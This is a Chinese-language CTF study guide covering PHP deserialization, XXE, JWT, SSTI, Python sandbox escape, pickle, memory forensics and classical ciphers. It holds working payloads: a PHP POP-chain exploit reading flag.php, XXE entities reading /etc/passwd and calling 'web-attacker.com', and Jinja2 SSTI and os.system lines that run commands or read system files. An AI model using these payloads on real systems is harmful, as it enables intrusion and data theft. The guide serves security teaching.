$this->page = $file;
}
public function __toString()
{
return $this->string->page;
}
public function __wakeup()
{
if (preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) {
echo "You can Not Enter 2022";
$this->page = "index.php";
}
}
}
class Try_Work_Hard
{
protected $var;
public function append($value)
{
include($value);
}
public function __invoke()
{
$this->append($this->var);
}
}
class Make_a_Change
{
public $effort;
public function __construct()
{
$this->effort = array();
}
public function __get($key)
{
$function = $this->effort;
return $function();
}
}
/**********************Try to See flag.php*****************************/
EXP:
<?php
class Road_is_Long
{
public $page;
public $string;
}
class Try_Work_Hard
{
protected $var = 'php://filter/convert.base64-encode/resource=flag.php';
}
class Make_a_Change
{
public $effort;
}
$o = new Road_is_Long;
$o->page = new Road_is_Long;
$o->page->string = new Make_a_Change;
$o->page->string->effort = new Try_Work_Hard;
$payload = serialize($o);
echo 'payload:<br>' . $payload . '<br>';
echo urlencode($payload);
XML外部实体注入漏洞
XML 外部实体注入(XXE)是一种发生在应用程序解析 XML 输入时的安全漏洞。当 XML 解析器配置不当,处理包含对外部实体引用的 XML 输入时,可能导致敏感信息泄露、拒绝服务、服务器端请求伪造、端口扫描等多种攻击。

- 读取本地文件
- 内网主机探测
- 内网主机端口扫描 带内实体注入攻击
- XML 解析后,有结果回显
- 基于错误 带外实体注入攻击
XML语法
XML(Extensible Markup Language,可扩展标记语言)是一种用于表示结构化数据的标记语言。一个有效的 XML 文档通常包含以下几个基本部分:
- XML 声明(declaration):可选,通常放在文档的第一行,声明版本和编码方式。
<?xml version="1.0" encoding="UTF-8"?>
- 文档类型定义(Document Type Definition,DTD):可选,预定义 XML 文件中的元素、属性及其关系,类似于模板。
- 根元素:XML 文档必须有且只有一个根元素,所有其他元素都包含在这个根元素内。
- 元素标签,所有的元素由起始标签和结束标签组成。起始标签格式为
<tagname>,结束标签格式为</tagname>。标签名称区分大小写。 - 自闭合元素,没有结束标签,使用自闭合标签,
<example />。 - 属性,元素具有属性,用于提供更多信息。属性在起始标签中定义,格式为
name="value"。
- 元素标签,所有的元素由起始标签和结束标签组成。起始标签格式为
实体
实体(Entity)用于表示在文档中重用的信息,实体类型有:
- 内部实体,在文档内部定义。
<!DOCTYPE example [
<!ENTITY greeting "Hello, World!">
]>
<example>
<message>&greeting;</message>
</example>
- 外部实体
- 从外部文件或 URL 引入。
- 声明方式:
<!ENTITY 实体名称 SYSTEM "URI/URL">。 - 引用方式:
&实体名称;。
<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://normal-website.com" > ]>
<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>
另一种引用方式
<!DOCTYPE 根元素名称 PUBLIC "DTD标识名" "公用DTD的URI">
- 参数实体
- 参数实体通常用于 DTD 中,以在 DTD 结构内重用文本。在 DTD 中定义,只能在 DTD 中引用。
- 声明方式:
<!ENTITY % 实体名称 "实体的值"> - 引用方式:
%实体名称;
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % myparameterentity "my parameter entity value" >
<!ENTITY % xxe SYSTEM "http://web-attacker.com">
%myparameterentity;%xxe; ]>
通常在Blind XXE中使用
XXE漏洞利用
读文件
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [<!ENTITY example SYSTEM "/etc/passwd"> ]>
<data>&example;</data>
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]>
<data>&example;</data>
例题:BUU XXE COURSE 1
内网主机探测
[NCTF2019]True XML cookbook
绕过方法
- 修改编码
blind XXE
out-of-band
Error-based XXE
参考资料
JWT
JWT(JSON Web Token)是一种开放的标准(RFC 7519),用于在应用程序或服务之间安全地传递信息。
基本结构
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
JWT 通常由三部分组成,每部分通过 . 分隔:
Header(头部):通常包含 token 的类型(JWT)和所使用的签名算法(如 HMAC SHA256)。Payload(负载):包含声明(claims),这些是关于用户的信息。常见的声明有:sub(主题):表示令牌的主体(通常是用户 ID)iat(签发时间):令牌签发的时间exp(过期时间):令牌的过期时间
Signature(签名):通过对 Header 和 Payload 进行编码后,使用头部指定的算法和一个密钥生成的签名,用于验证 token 的完整性。
https://jwt.io/ https://token.dev/
// Header
{
"alg": "HS256",
"typ": "JWT"
}
// Payload
{
"sub": "1234567890",
"name": "John Doe",
"iat": 1516239022
}
// Signature
// HMACSHA256(base64UrlEncode(header) + "." + base64UrlEncode(payload), secret)
https://github.com/ticarpi/jwt_tool https://github.com/brendan-rius/c-jwt-cracker https://jwt.rocks/
考点
alg=none签名绕过漏洞(CVE-2015-2951)
空密码
弱密钥
例题分析
例题1:[RootersCTF2019]ImgXweb
练习题
参考资料
- https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/06-Session_Management_Testing/10-Testing_JSON_Web_Tokens
- https://kleiton0x00.github.io/posts/json-web-token-exploitation/#4-hsrsa-key-confusion-and-public-key-leaked
- https://saucer-man.com/information_security/377.html https://medium.com/@roshan.reju/attacking-json-web-tokens-892fc76b7fcf
服务端模板注入(SSTI,Server Side Template Injection)
模板?
Python Jinja2
{{ }} {% %}
import("os").popen("whoami").read()
open 为 Python 内置函数
open("/etc/passwd").read()
特殊方法
subclasses()
特殊属性
object.__class__,返回该对象所属的类
>>> ''.__class__
<class 'str'>
>>> [].__class__
<class 'list'>
-
function.__globals__,返回存放该函数中 全局变量 -
class.__base__,返回类的父类
>>> ''.__class__.__base__
<class 'object'>
常用payload
{{url_for.globals['builtins']'eval'}}
{{ config }}
读文件
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
{{get_flashed_messages.__globals__.__builtins__.open("/etc/passwd").read()}}
绕过过滤
request.__class__
request["__class__"]
_
[ ]
|join
PHP SSTI
Python 沙箱逃逸
在 Python 中导入模块的方法:
模块导入
- 基本导入
使用 import 语句导入整个模块。这种方式会将模块的所有功能引入当前命名空间,但需要通过模块名访问模块中的内容。
import module_name
# 使用模块中的函数
module_name.function_name()
- 选择性导入
使用 from ... import ... 语句从模块中导入特定的功能。这种方法可以直接使用导入的功能,而无需模块名前缀。
from module_name import function_name
# 直接调用导入的函数
function_name()
- 动态导入
__import__ 是一个内置函数,用于在运行时导入模块。它可以用于动态地导入模块名称在运行时确定的情况。函数的第一个参数是要导入的模块的名称(作为字符串),可以是完整的模块路径。
# 动态导入模块
module_name = "math"
math_module = __import__(module_name)
# 使用导入的模块
result = math_module.sqrt(16)
print(result) # 输出: 4.0
此外,还可以给导入的模块或函数起别名,
使用 as 关键字为导入的模块或函数指定一个别名。这在模块名较长或与现有名称冲突时尤为有用。
import module_name as alias_name
# 使用别名调用模块中的函数
alias_name.function_name()
from module_name import function_name as alias_function_name
# 使用别名直接调用函数
alias_function_name()
重要模块
os模块
os 模块提供了一种与操作系统进行交互的方式,其中包含了可以用于执行系统命令的函数。
import os
os.system('id')
platform 模块可以用来获取操作系统中的信息,但不是直接用来执行命令的。通过获取匹配的命令,你可以进一步结合其他模块用于执行系统命令。
内置函数
>>> dir(__builtins__)
['ArithmeticError', 'AssertionError', 'AttributeError', 'BaseException', 'BufferError', 'BytesWarning', 'DeprecationWarning', 'EOFError', 'Ellipsis', 'EnvironmentError', 'Exception', 'False', 'FloatingPointError', 'FutureWarning', 'GeneratorExit', 'IOError', 'ImportError', 'ImportWarning', 'IndentationError', 'IndexError', 'KeyError', 'KeyboardInterrupt', 'LookupError', 'MemoryError', 'NameError', 'None', 'NotImplemented', 'NotImplementedError', 'OSError', 'OverflowError', 'PendingDeprecationWarning', 'ReferenceError', 'RuntimeError', 'RuntimeWarning', 'StandardError', 'StopIteration', 'SyntaxError', 'SyntaxWarning', 'SystemError', 'SystemExit', 'TabError', 'True', 'TypeError', 'UnboundLocalError', 'UnicodeDecodeError', 'UnicodeEncodeError', 'UnicodeError', 'UnicodeTranslateError', 'UnicodeWarning', 'UserWarning', 'ValueError', 'Warning', 'ZeroDivisionError', '_', '__debug__', '__doc__', '__import__', '__name__', '__package__', 'abs', 'all', 'any', 'apply', 'basestring', 'bin', 'bool', 'buffer', 'bytearray', 'bytes', 'callable', 'chr', 'classmethod', 'cmp', 'coerce', 'compile', 'complex', 'copyright', 'credits', 'delattr', 'dict', 'dir', 'divmod', 'enumerate', 'eval', 'execfile', 'exit', 'file', 'filter', 'float', 'format', 'frozenset', 'getattr', 'globals', 'hasattr', 'hash', 'help', 'hex', 'id', 'input', 'int', 'intern', 'isinstance', 'issubclass', 'iter', 'len', 'license', 'list', 'locals', 'long', 'map', 'max', 'memoryview', 'min', 'next', 'object', 'oct', 'open', 'ord', 'pow', 'print', 'property', 'quit', 'range', 'raw_input', 'reduce', 'reload', 'repr', 'reversed', 'round', 'set', 'setattr', 'slice', 'sorted', 'staticmethod', 'str', 'sum', 'super', 'tuple', 'type', 'unichr', 'unicode', 'vars', 'xrange', 'zip']
一切皆对象
在 Python 中,object 类是所有类的基类。这意味着无论你定义的类是什么,最终都是从 object 类继承而来的。以下是关于 Python object 类的一些关键点:
().__class__.__bases__[0].subclasses__()
内置属性
__class__
每个对象都有一个 __class__ 属性,它指向该对象所属的类。__class__ 是一个内置属性,可以用来动态地获取和确认对象的类型或类。
obj.class 返回的是对象 obj 的类的引用。也就是说,它是一个类对象,而不是一个实例。
参考资料
- https://ciphersaw.me/ctf-wiki/pwn/linux/sandbox/python-sandbox-escape/
- https://medium.com/@damarabrianr/hackthebox-code-writeup-from-python-sandbox-escape-to-root-via-json-bypass-16d668bd307e
- https://blog.ionelmc.ro/2015/02/09/understanding-python-metaclasses/
Python 反序列化漏洞
pickle 是 Python 的一个内置模块,用于序列化和反序列化数据。序列化是指将 Python 对象转换为字节流的过程,而反序列化则是将字节流还原为 Python 对象的过程。
pickle.dump 功能:将对象序列化并写入到一个文件对象中。 使用场景:用于将数据持久化到文件,适合需要长期存储的场景。
pickle.dump(obj, file, protocol=None)
# 序列化对象
data = {'name': 'Alice', 'age': 30, 'city': 'New York'}
# 将对象序列化到文件
with open('data.pkl', 'wb') as file:
pickle.dump(data, file)
pickle.dumps 功能:将对象序列化为一个字节串。 使用场景:适用于需要在内存中处理数据或在网络上传输数据的场景。
pickle.dumps(obj, protocol=None)
import pickle
data = {'key': 'value'}
# 将数据序列化为字节串
serialized_data = pickle.dumps(data)
print(serialized_data) # 输出类似于 b'\x80\x03}q\x00(X\x03...'
同时,还有 pickle.load 和 pickle.loads
import pickle
# 反序列化对象
with open('data.pkl', 'rb') as file:
loaded_data = pickle.load(file)
print(loaded_data) # 输出: {'name': 'Alice', 'age': 30, 'city': 'New York'}
基本数据类型的序列化后存储的内容格式:
# python 3.11
import pickle
# 整型
data_int = 42
serialized_int = pickle.dumps(data_int)
print(serialized_int) # 输出: b'\x80\x04K*.' (Python 3.x)
# 浮点型
data_float = 3.14
serialized_float = pickle.dumps(data_float)
print(serialized_float) # 输出: b'\x80\x04G@\t\x1e\xb8Q\xeb\x85\x1f' (Python 3.x)
# 字符串
data_str = "Hello, World!"
serialized_str = pickle.dumps(data_str)
print(serialized_str) # 输出: b'\x80\x04\x95\x0e\x00\x00\x00\x8c\rHello, World!\x94.' (Python 3.x)
# 布尔值
data_bool = True
serialized_bool = pickle.dumps(data_bool)
print(serialized_bool) # 输出: b'\x80\x04\x88.' (Python 3.x)
# None
data_none = None
serialized_none = pickle.dumps(data_none)
print(serialized_none) # 输出: b'\x80\x04N.' (Python 3.x)
# 列表
data_list = [1, 2, 3]
serialized_list = pickle.dumps(data_list)
print(serialized_list) # 输出: b'\x80\x04\x95\x07\x00\x00\x00]\x94(K\x01K\x02K\x03e.' (Python 3.x)
# 元组
data_tuple = (1, 2, 3)
serialized_tuple = pickle.dumps(data_tuple)
print(serialized_tuple) # 输出: b'\x80\x04\x95\x07\x00\x00\x00(K\x01K\x02K\x03t.' (Python 3.x)
# 字典
data_dict = {'a': 1, 'b': 2}
serialized_dict = pickle.dumps(data_dict)
print(serialized_dict) # 输出: b'\x80\x04\x95\x0e\x00\x00\x00}\x94(\x8c\x01a\x94K\x01\x8c\x01b\x94K\x02u.' (Python 3.x)
# 集合
data_set = {1, 2, 3}
serialized_set = pickle.dumps(data_set)
print(serialized_set) # 输出: b'\x80\x04\x95\x07\x00\x00\x00\x8c\x03set\x94(K\x01K\x02K\x03e.' (Python 3.x)
序列化后,pickle 数据的存储方式取决于使用的协议,pickle 模块 提供了多个协议:
- 协议 0:ASCII;兼容性最佳,但体积相对较大。
- 协议 1:旧版二进制格式;比协议 0 体积小。
- 协议 2:提供对较新特性的支持,使用于 Python 2.x。
- 协议 3:引入 Python 3,支持对 bytes 数据类型的序列化。
- 协议 4:支持更多数据类型,擅长序列化大型数据。
- 协议 5:是 Python 3.8 新增的,支持更大的数据量以及更高效的序列化。
| 操作码 (Opcode) | 字节 (Bytes) | 说明 (Description) | 中文说明 |
|---|---|---|---|
| MARK | b'(' | 推送特殊标记对象到栈上 | 将特殊标记对象推入栈上 |
| STOP | b'.' | 每个 pickle 以 STOP 结束 | 每个 pickle 的结尾标记 |
| POP | b'0' | 丢弃栈顶元素 | 丢弃栈顶元素 |
| POP_MARK | b'1' | 丢弃自栈顶到顶部标记之间的所有元素 | 丢弃栈顶到顶部标记之间的所有元素 |
| DUP | b'2' | 复制栈顶元素 | 复制栈顶元素 |
| FLOAT | b'F' | 推送浮点对象;十进制字符串参数 | 推送浮点对象,参数为十进制字符串 |
| INT | b'I' | 推送整数或布尔值;十进制字符串参数 | 推送整数或布尔值,参数为十进制字符串 |
| BININT | b'J' | 推送四字节有符号整数 | 推送四字节有符号整数 |
| BININT1 | b'K' | 推送一个字节的无符号整数 | 推送一个字节的无符号整数 |
| LONG | b'L' | 推送长整型;十进制字符串参数 | 推送长整型,参数为十进制字符串 |
| BININT2 | b'M' | 推送两个字节的无符号整数 | 推送两个字节的无符号整数 |
| NONE | b'N' | 推送 None | 推送 None |
| PERSID | b'P' | 推送持久对象;ID来自字符串参数 | 推送持久对象,ID来自字符串参数 |
| BINPERSID | b'Q' | 同上,推送持久对象 | 同上,推送持久对象 |
| REDUCE | b'R' | 将可调用对象应用于参数元组,两个都在栈上 | 将可调用对象应用于参数元组 |
| STRING | b'S' | 推送字符串;换行符结束的字符串参数 | 推送字符串,参数以换行符结尾 |
| BINSTRING | b'T' | 推送字符串;计数的二进制字符串参数 | 推送计数的二进制字符串 |
| SHORT_BINSTRING | b'U' | 同上,推送字符串;长度小于 256 字节 | 同上,推送长度小于 256 字节的字符串 |
| UNICODE | b'V' | 推送 Unicode 字符串;原始 Unicode 转义的参数 | 推送 Unicode 字符串 |
| BINUNICODE | b'X' | 同上,推送字符串;计数的 UTF-8 字符串参数 | 同上,推送计数的 UTF-8 字符串 |
| APPEND | b'a' | 将栈顶元素附加到下面的列表 | 将栈顶元素附加到下方列表 |
| BUILD | b'b' | 调用 __setstate__ 或 __dict__.update() | 调用 __setstate__ 或 __dict__.update() |
| GLOBAL | b'c' | 推送 self.find_class(modname, name);两个字符串参数 | 推送 self.find_class(modname, name) |
| DICT | b'd' | 从栈元素构建字典 | 从栈元素构建字典 |
| EMPTY_DICT | b'}' | 推送空字典 | 推送空字典 |
| APPENDS | b'e' | 通过栈顶切片扩展栈上的列表 | 通过栈顶切片扩展栈上的列表 |
| GET | b'g' | 从备忘录中推送项目;索引为字符串参数 | 从备忘录中推送项目 |
| BINGET | b'h' | 同上,推送项目;使用一个字节作为索引参数 | 同上,使用一个字节的索引 |
| INST | b'i' | 构建并推送类实例 | 构建并推送类实例 |
| LONG_BINGET | b'j' | 从备忘录中推送项目;索引为四字节参数 | 从备忘录中推送项目,索引为四字节参数 |
| LIST | b'l' | 从栈顶元素构建列表 | 从栈顶元素构建列表 |
| EMPTY_LIST | b']' | 推送空列表 | 推送空列表 |
| OBJ | b'o' | 构建并推送类实例 | 构建并推送类实例 |
| PUT | b'p' | 将栈顶存储在备忘录中;索引为字符串参数 | 将栈顶存储在备忘录中 |
| BINPUT | b'q' | 同上,使用一个字节作为索引参数 | 同上,使用一个字节的索引 |
| LONG_BINPUT | b'r' | 同上,使用四字节作为索引参数 | 同上,使用四字节的索引 |
| SETITEM | b's' | 向字典中添加键值对 | 向字典中添加键值对 |
| TUPLE | b't' | 从栈顶元素构建元组 | 从栈顶元素构建元组 |
| EMPTY_TUPLE | b')' | 推送空元组 | 推送空元组 |
| SETITEMS | b'u' | 通过添加栈顶的键值对修改字典 | 通过添加栈顶的键值对修改字典 |
| BINFLOAT | b'G' | 推送浮点数;参数为8字节浮点编码 | 推送浮点,参数为8字节浮点 |
特殊值
| 操作码 (Opcode) | 字节 (Bytes) | 说明 (Description) | 中文说明 |
|---|---|---|---|
| TRUE | b'I01\n' | 不是操作码;请参见 pickletools.py 中的 INT 文档 | 不是操作码,详见 pickletools.py 中的 INT 文档 |
| FALSE | b'I00\n' | 不是操作码;请参见 pickletools.py 中的 INT 文档 | 不是操作码,详见 pickletools.py 中的 INT 文档 |
协议2
| 操作码 (Opcode) | 字节 (Bytes) | 说明 (Description) | 中文说明 |
|---|---|---|---|
| PROTO | b'\x80' | 标识 pickle 协议 | 标识 pickle 协议 |
| NEWOBJ | b'\x81' | 通过应用 cls.__new__ 构建对象 | 通过应用 cls.__new__ 构建对象 |
| EXT1 | b'\x82' | 从扩展注册表中推送对象;1字节索引 | 从扩展注册表中推送对象,使用1字节索引 |
| EXT2 | b'\x83' | 同上,但使用2字节索引 | 同上,但使用2字节索引 |
| EXT4 | b'\x84' | 同上,但使用4字节索引 | 同上,但使用4字节索引 |
| TUPLE1 | b'\x85' | 从栈顶构建1元组 | 从栈顶构建1元组 |
| TUPLE2 | b'\x86' | 从两个栈顶元素构建2元组 | 从两个栈顶元素构建2元组 |
| TUPLE3 | b'\x87' | 从三个栈顶元素构建3元组 | 从三个栈顶元素构建3元组 |
| NEWTRUE | b'\x88' | 推送 True | 推送 True |
| NEWFALSE | b'\x89' | 推送 False | 推送 False |
| LONG1 | b'\x8a' | 推送小于256字节的长整型 | 推送小于256字节的长整型 |
| LONG4 | b'\x8b' | 推送非常大的长整型 | 推送非常大的长整型 |
协议3
| 操作码 (Opcode) | 字节 (Bytes) | 说明 (Description) | 中文说明 |
|---|---|---|---|
| BINBYTES | b'B' | 推送字节;计数的二进制字符串参数 | 推送字节,参数为计数的二进制字符串 |
| SHORT_BINBYTES | b'C' | 同上;长度小于256字节 | 同上,长度小于256字节 |
协议4:
| 操作码 (Opcode) | 字节 (Bytes) | 说明 (Description) | 中文说明 |
|---|---|---|---|
| SHORT_BINUNICODE | b'\x8c' | 推送短字符串;UTF-8 长度小于256字节 | 推送短字符串,UTF-8 长度小于256字节 |
| BINUNICODE8 | b'\x8d' | 推送非常长字符串 | 推送非常长字符串 |
| BINBYTES8 | b'\x8e' | 推送非常长字节字符串 | 推送非常长字节字符串 |
| EMPTY_SET | b'\x8f' | 推送空集合 | 推送空集合 |
| ADDITEMS | b'\x90' | 通过添加栈顶元素修改集合 | 通过添加栈顶元素修改集合 |
| FROZENSET | b'\x91' | 从栈顶元素构建冻结集合 | 从栈顶元素构建冻结集合 |
| NEWOBJ_EX | b'\x92' | 类似于 NEWOBJ,但处理关键字参数 | 类似于 NEWOBJ,但处理关键字参数 |
| STACK_GLOBAL | b'\x93' | 与 GLOBAL 相同,但使用栈上的名称 | 与 GLOBAL 相同,使用栈名称 |
| MEMOIZE | b'\x94' | 将栈顶存储在备忘录中 | 将栈顶存储在备忘录中 |
| FRAME | b'\x95' | 表示新框架的开始 | 表示新框架的开始 |
import pickle
class test:
def __init__(self):
self.people = 'lituer'
a = test()
serialized = pickle.dumps(a, protocol=3) # 指定PVM 协议版本
print(serialized)
unserialized = pickle.loads(serialized) # 注意,loads 能够自动识别反序列化的版本
print(unserialized.people)
Python 官方提供了工具,叫 pickletools 它的作用主要是:
- 可读性较强的方式展示一个序列化对象(pickletools.dis)
- 对一个序列化结果进行优化(pickletools.optimize)
import pickle
import pickletools
a = test()
serialized = pickle.dumps(a, protocol=3) # 指定PVM 协议版本
print(pickletools.dis(serialized))
__reduce__方法
__reduce__ 是 Python 中一个特殊的方法,用于自定义如何序列化(pickling)和反序列化(unpickling)对象。
参考资料
- https://tttang.com/archive/1885/
- https://www.digitalocean.com/community/tutorials/python-pickle-example
- https://medium.com/@harryfyx/writeup-uiuctf-2024-push-and-pickle-cf821c49194f
- https://infosecwriteups.com/vulnerabilities-in-python-serialization-pickle-d2385de642f6
取证
日志分析
系统日志
Windows
Linux
应用日志
HTTP access.log
127.0.0.1 - - [07/Jun/2025:10:00:00 +0000] "GET /index.html HTTP/1.1" 200 2326
127.0.0.1:客户端 IP 地址[07/Jun/2025:10:00:00 +0000]:请求时间戳"GET /index.html HTTP/1.1":请求方法、请求的 URL 和 HTTP 版本200:返回的 HTTP 状态码2326:返回的字节数
SQL盲注
内存取证
内存转储
内存转储能保存运行时的关键易失性证据(进程、网络连接、恶意软件痕迹、注册表、凭据、解密密钥、MFT 等)。
常见的取证镜像格式
- RAW
- 特点:逐位拷贝,无元数据,通用性强。
- 优点:几乎所有工具支持;简单直接。
- 缺点:体积大,无内置压缩/校验元数据。
DumpIt
Windows 7
Magenet RAM Capture
Magnet RAM Capture 是 Magnet Forensics 提供的免费内存采集工具,可在 Windows 主机上抓取物理内存镜像,用于后续取证分析。
支持系统:Windows XP, Vista, 7, 8, 10, 2003, 2008, 2012 (支持 32 位与 64 位) 最新版本: V1.20,发布于 2019-7-24(支持在启用虚拟安全模式的 Windows 10 上进行采集)
WinPmem
https://medium.com/@cyberforensicator57/capturing-memory-dump-using-winpmem-5e1eb29c811d
LiME
内存分析
Volatility 3
Volatility 3是一款强大的内存取证工具,用于分析计算机内存转储(RAM dump)。
安装
Kali Linux 2024.4及以后版本
$ sudo apt install pipx
$ pipx install volatility3
installed package volatility3 2.26.0, installed using Python 3.13.2
These apps are now globally available
- vol
- volshell
done! ✨ 🌟 ✨
导入符号表
查看可用的插件:
vol -h
常用方法
使用 -f 选项指定内存转储文件。
进程信息
vol -f windows.pslist
vol -f windows.psscan
vol -f windows.pstree
cmdline
vol -f windows.cmdline
DLLS
vol -f windows.dlllist --pid
网络信息
vol -f windows.netscan
vol -f windows.netstat
文件
文件扫描
vol -f windows.filescan
导出文件
vol -f windows.dumpfiles ‑‑virtaddr <offset>
vol -f windows.dumpfiles ‑‑physaddr <offset>
注册表
vol -f windows.registry.printkey
vol -f windows.registry.hash
参考资料
密码学
test
古典密码
古典密码是指在现代计算机技术出现之前使用的加密方法,主要基于字符,分为两种类型:代换密码和置换密码。
代换(替换)密码(Substitution Cipher)
代换密码是将明文中的字符替换成其他字符,即替代转换。若加密过程中,每个字符采用同一张表替代,则为单表代换密码;若整个加密过程中每个字符采用不同的表替代,则为多表代换密码。
破解代换加密的基本方法是用统计手段,即统计语言中的一些字或字母出现频率的规律。
单表代换密码
单表代换密码是在明文和密文之间建立一一映射关系,也就是说明文与密文一一对应。所以有以下两种方式来进行破解:
- 在密钥空间较小的情况下,采用暴力破解方式
- 在密文长度足够长的情况下,采用词频分析方式
当密钥空间足够大,且密文长度足够短的情况下,破解较为困难。
单字母替换密码(Mono-Alphabetic Substitution Cipher)
每个字母被固定的替换为另一个字母。
key = {
"a": "f",
"b": "y",
"c": "a",
"d": "b",
"e": "z",
"f": "c",
"g": "m",
"h": "s",
"i": "n",
"j": "t",
"k": "o",
"l": "h",
"m": "q",
"n": "v",
"o": "r",
"p": "x",
"q": "w",
"r": "i",
"s": "k",
"t": "u",
"u": "l",
"v": "j",
"w": "p",
"x": "g",
"y": "d",
"z": "e"
}
secret = "The trouble with having an open mind, of course, is that people will insist on coming along and trying to put things in it.".lower()
secret = filter(str.isalpha, secret)
encrypted = "".join([key[i] for i in secret])
print(encrypted)
#uszuirlyhzpnussfjnvmfvrxzvqnvbrcarlikznkusfuxzrxhzpnhhnvknkurvarqnvmfhrvmfvbuidnvmurxluusnvmknvnu
由于密文中的字母频率没有变化,在较长的密文和英文文本的情况下,可以通过字母频率分析来破解密码。可以使用在线工具 https://quipqiup.com/ 辅助解密。

- https://cryptii.com/pipes/alphabetical-substitution
- https://www.101computing.net/mono-alphabetic-substitution-cipher/
移位密码(凯撒密码)
凯撒密码(Caesar Cipher)是移位密码(Shift Cipher)的一种,通过将明文中每个字母在字母表中向前或向后移动固定的长度来生成密文。例如,当偏移量为 3 时,字母A会被替换为D,字母B会变成E,以此类推。

凯撒密码的密钥是 0 到 25 之间的整数,因此可以通过穷举法进行破解。
ROT系列密码
- ROT13,实际上是凯撒密码的一种,默认位移量为 13,仅适用于字母,连续两次加密可恢复明文。
- ROT47,处理 ASCII 码在 33 到 126 之间的字符,默认旋转位移为 47 。
- ROT8000,通过将每个 Unicode 字符向前或向后移动
0x8000个位置。
埃特巴什码(Atbash Cipher)
埃特巴什码(Atbash Cipher)是一种单字母替换密码,采用字母表中的最后一个字母代表示第一个字母,倒数第二个字母表示第二个字母,以此类推。
明文:ABCDEFGHIJKLMNOPQRSTUVWXYZ
密文:ZYXWVUTSRQPONMLKJIHGFEDCBA
例如,明文MIRROR加密为NRIILI。埃特巴什码也被称为镜像密码。
仿射密码(Affine Cipher)
仿射加密(Affine cipher)是一种基于线性变换的加密方法。
加密过程: $$ E(x)=(ax+b) \mod m $$
解密解密: $$ D(x)=a^{-1}(x-b) \mod m $$
x为字符在字母表中的位置,从0开始。m为字母表的长度,例如对于英文字母为 26。
假设我们要加密字符串 "HELLO",使用以下参数:
- a=5
- b=8
- 字母表长度 m=26
H → 7
E(7)=(5⋅7+8) mod 26 = (35+8) mod 26 = 17,17 对应的字母为 R。
因此,字符串 "HELLO" 的加密结果是 "RCLLA"。
培根密码(Bacon Cipher)
培根密码(Bacon Cipher),又叫倍康尼密码,是由法兰西斯·培根发明的一种替换密码。加密时,明文中的每个字母都会替换成一组五个英文字母。其转换依靠下表:

转换表有两个版本。一是i 和j、u和v使用相同的编码。二是所有字母使用不同的编码。
例如,对明文hello world进行加密。步骤如下:
第一步,将H替换为aabbb,E替换为aabaa等等

第二步,隐藏信息。常规字体表示a,粗体表示b

也可以使用大小写来隐藏信息。
sSsSSsSSssSSsSsSsSssSSSSSSSssS{SSSsSsSSSsSsSSSsSSsSSssssssSSSSSSSsSSSSSSSSsSSsssSSssSsSSSsSSsSSSSssssSSsssSSsSSsSSSs}
UTFLAG{CRISPYBACONCIPHER}
培根密码本质上是将二进制信息通过样式的区别,加在了正常书写之上,样式包括大小写、斜体和加粗等。培根密码所包含的信息可以和用于承载其的文章完全无关。
多表代换密码
在多表代换中,由于使用不同的字母表或关键词,相同的明文字母在不同的位置可能会对应不同的密文字母,实现动态替换。同时,明文字符的频率被改变,从而抵抗词频分析攻击。
维吉尼亚密码(Vigenère Cipher)
维吉尼亚密码是一种基于凯撒密码的加密算法,属于多表代换的简单形式。
加密时,密钥长度必须与明文长度相等,如果关键词长度不足,需要将其扩展至明文长度。该算法有重复(Repeat)和自钥(Autokey)两种模式,默认使用重复模式,即固定关键词重复扩展,如关键词为key时重复扩展为keykey....。自钥模式则是将关键词与明文组合形成密钥,如key明文。
![]()
例如,明文HELLOWORLD,关键词SECRET,对于明文第 1 个字母 H,对应密钥的第 1 个字母 S,于是使用第 S 行字母进行加密,得到密文第一个字母 Z,以此类推,密文为ZINCSPGVNU。
普莱费尔密码(Playfair Cipher)
普莱费尔密码(Playfair Cipher)是第一个二字母替换密码,1854 年由英国人查尔斯 · 惠斯通(Charles Wheatstone)发明,基本算法如下:
例如,选取密钥为playfair,去除重复字母后,得到playfir,将字母按顺序填入$5 \times 5$的矩阵中,余下的位置用字母表中剩下的字母填充,其中i和j作为同一个字母。
注意,由于矩阵大小只有25个,而字母有26个,可以将
i和j视作同一字母,或者将q去除。
$$ \begin{array}{ccccc} P & L & A & Y & F \ I & R & B & C & D \ E & G & H & K & M \ N & O & Q & S & T \ U & V & W & X & Z \ \end{array} $$
加密过程如下:
- 将明文去掉空格后,每两个字母一组,如果一组中的字母相同,则在中间插入一个填充字母(通常为
X),然后重新分组。必要的话,在最后一组末尾加字母X。例如明文为HELLO,分组结果为HE LX LO。 - 对每一组字母,按照以下规则进行加密
- 如果两个字母在同一行,则用它们右边的字母替换(如果在最右边,则循环到最左边)。例如
HE->KG。 - 如果两个字母在同一列,则用它们下边的字母替换(如果在最下边,则循环到最上边)。例如
LO->RV。 - 如果两个字母不在同一行也不在同一列,则用它们所在矩阵的对角线上字母替换。例如
LX->YV。
- 如果两个字母在同一行,则用它们右边的字母替换(如果在最右边,则循环到最左边)。例如
完整的密文是KGYVRV。解密时,将这一过程倒过来。
图形代换密码
猪圈密码(Pigpen Cipher)
猪圈密码是一种以格子为基础的图形代换密码,最初由希伯来拉比和圣殿骑士使用。它通过将字母放置在“#”和“X”图形中,通过附近的线条和点表示编码字母,主要有两个版本:原始版本和修改版本。

例如,明文X marks the spot的密文如下:

在线加解密网站:
跳舞小人密码(Dancing Men Cipher)
键盘密码
所谓键盘密码,就是采用手机键盘或者电脑键盘进行加密。
- 手机键盘密码
手机键盘加密方式,是每个数字键上有 3-4 个字母,用两位数字来表示字母,例如:ru 用手机键盘表示就是:7382,那么这里就可以知道了,手机键盘加密方式不可能用 1 开头,第二位数字不可能超过 4,解密的时候参考此。

